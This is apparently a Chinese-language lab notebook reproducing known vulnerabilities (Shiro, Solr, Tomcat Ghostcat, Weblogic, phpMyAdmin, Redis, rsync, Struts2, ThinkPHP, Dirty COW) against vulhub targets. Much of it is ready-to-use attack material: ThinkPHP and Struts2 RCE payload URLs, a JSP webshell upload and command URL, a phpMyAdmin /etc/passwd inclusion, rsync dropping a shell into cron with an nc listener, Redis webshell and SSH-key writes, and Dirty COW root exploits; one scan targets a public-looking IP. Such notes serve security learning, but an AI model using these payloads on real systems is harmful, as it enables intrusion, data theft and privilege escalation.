漏洞复现
复现一些常见并且影响范围广的漏洞
Apache Shiro Java反序列化漏洞 (CVE-2016-4437, Shiro550)
简介
Apache Shiro 默认使用 CookieRememberMeManager,其处理 cookie 的流程是:得到 rememberMe 的 cookie 值,base64 解码,AES 解密,反序列化。AES的密钥是硬编码的,攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。
影响范围
- Apache Shiro < 1.2.5
环境搭建
使用 vulhub 中的漏洞环境,用admin:vulhub
登录。
漏洞利用
使用 ShiroExploit,一路下一步即可命令执行。
Apache Solr 远程命令执行(CVE-2019-0193)
简介
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响范围
- Apache Solr 5.x - 8.2.0 存在 config API 版本
环境搭建
使用 vulhub 靶机
漏洞利用
创建了一个名为 test 的 core 节点,此漏洞利用的前提是知道 core 的名称。
漏洞产生原因是能够直接访问 solr 控制台,通过发送类似solr/节点名/config
的POST请求对该节点的配置文件做更改,能进入控制台能看见 core 节点的名称。也可以尝试访问/solr/admin/aores
能看见创建的全部 core 节点的名称。
python2脚本,CVE-2019-0193.py:
1 | python CVE-2019-0193.py http://192.168.67.145:8983/ "pwd" |
Apache Tomcat 文件包含漏洞 (CVE-2020-1938,幽灵猫)
简介
Apache Tomcat 会开启 AJP 连接器,方便与其他 web 服务器通过 AJP 协议进行交互,由于 Tomcat 本身也内涵 HTTP 服务器,因此也可以视为一个单独的 web 服务器。
攻击者可以利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,包括 webapp 配置文件和源代码等。
影响范围
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
环境搭建
使用 vulhub 中的漏洞环境(tomcat 9.0.30),靶机地址192.168.67.144
(NAT)。
漏洞利用
1 | $ nmap -sV 192.168.67.144 |
POC:
1 | https://github.com/00theway/Ghostcat-CNVD-2020-10487 # 可RCE |
CVE-2020-1938.py ,CVE-2020-1938-requirements.txt
1 | $ pip install -r CVE-2020-1938-requirments.txt |
可配合文件上传 RCE,需要有上传点且已知路径。
Apache Tomcat 弱口令
简介
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。
环境搭建
使用 vulhub 靶机
漏洞利用
访问 http://ip:8080/manager/html
,输入弱口令tomcat:tomcat
在 WAR file to deploy 中上传小马,内容:
1 | <% |
压缩为 zip 文件,并将后缀名改为 war,上传。
访问http://ip:8080/shell/shell.jsp?pwd=123&cmd=ls
成功执行 ls
Weblogic XML Decoder 反序列化(CVE-2017-10271)
简介
Weblogic是oracle推出的application server,由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性,备受广大系统管理员的青睐。
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
影响范围
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.1.0
环境搭建
使用 vulhub 中的靶机
漏洞利用
使用 vulhub 中的靶机
POST 请求(反弹shell):
1 | POST /wls-wsat/CoordinatorPortType |
写入 shell:
1 | POST /wls-wsat/CoordinatorPortType |
phpMyAdmin 远程代码执行(CVE-2016-5774)
简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。
影响范围
- phpmyadmin 4.0.x - 4.6.2
环境搭建
使用 vulhub 的靶机,PHP 5.3 + Apache + phpMyAdmin 4.4.15.6
漏洞利用
使用 exploit-db的POC,CVE-2016-5734.py
1 | python CVE-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/ |
phpMyAdmin 远程文件包含(CVE-2018-12613)
简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
影响范围
- phpMyAdmin 4.8.1
环境搭建
使用 vulhub 的环境
漏洞利用
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可以看到文件包含成功
执行SELECT '<?=phpinfo()?>'
,查看自己的 sessionid (phpMyAdmin 的值),然后包含 session 文件,常见 session 文件位置
1 | /var/lib/php5/sess_PHPSESSID |
该容器中 session 文件在/tmp/sess_PHPSESSID
Redis 未授权访问
简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
影响范围
- redis 4.x - redis 5.x
环境搭建
使用 vulhub 中的靶机
漏洞利用
nmap 探测,nmap -sS 104.199.148.119 ‐‐script=redis‐info
redis-cli 连接,redis-cli -h 104.199.148.219
写入webshell(前提:开启 web 服务,已知绝对路径,有文件操作权限):
1 | # 设置 dir 为网站路径 |
写入 ssh key(前提:开启 ssh 服务):
1 |
|
crontab:
1 | # 监听一个端口 |
主从复制 RCE,
Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
Lua RCE,工具
rsync 未授权访问
简介
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
环境搭建
使用 vulhub 中的靶机
漏洞利用
1 | rsync rsync://your-ip:873/ |
反弹 shell,内容:
1 |
|
提供可执行权限
1 | chmod +x shell |
上传至 /etc/cron.hourly
1 | rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell |
监听端口
1 | nc -lvvp 4444 |
Struts2 S2-057 远程命令执行漏洞(()CVE-2018-11776)
简介
当Struts2的配置满足以下条件时:
- alwaysSelectFullNamespace值为true
- action元素未设置namespace属性,或使用了通配符
namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
影响范围
- <= Struct 2.3.34
- Struts 2.5.16
环境搭建
使用 vulhub 靶机
漏洞利用
测试OGNL表达式${233*233}
:
1 | http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action |
可以看到 Location 头中计算出了表达式的值。
执行表达式(发送前需 URL 编码):
1 | ${ |
同样可在返回头 Location 中看到结果
ThinkPHP 5 远程命令执行
简介
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响范围
- ThinkPHP 5.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
环境搭建
使用 vulhub 中的靶机
漏洞利用
5.0.20 版本:
1 | http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |
执行 phpinfo
5.0.23 版本:
向http://192.168.67.145:8080/index.php?s=captcha
POST数据
1 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id |
成功执行 id
其他 payload:
5.1.x
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
5.0.x
1 | ?s=index/think\config/get&name=database.username // 获取配置信息 |
1 | http://php.local/thinkphp5.0.5/public/index.php?s=index |
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
简介
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
影响范围
CVE-2019-2725
脏牛 Dirty COW
Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW /proc/self/mem’ Race COndition Privilege Escalation(/etc/passwd Method),https://www.exploit-db.com/exploits/40847
脏牛漏洞成功率较高的 exp,一般 exp 提权可能导致服务器宕机,https://github.com/FireFart/dirtycow
使用gcc -pthread dirty.c -o dirty -lcrypt
命令对 dirty.c 进行编译,生成一个 dirty 可执行文件,执行 ./dirty 密码
命令提权,https://github.com/gbonacini/CVE-2016-5195
解压进入文件夹,执行 make 生成一个 dcow 可执行文件,执行./dcow-s
命令提权
待复现
Windows RDP 的RCE (CVE-2019-0708)
Pulse Secure SSLVPN
Apache Solr RCE
脏牛 内核提权漏洞 (CVE-2016-5195)
CVE-2020-0796,POC:
https://github.com/danigargu/CVE-2020-0796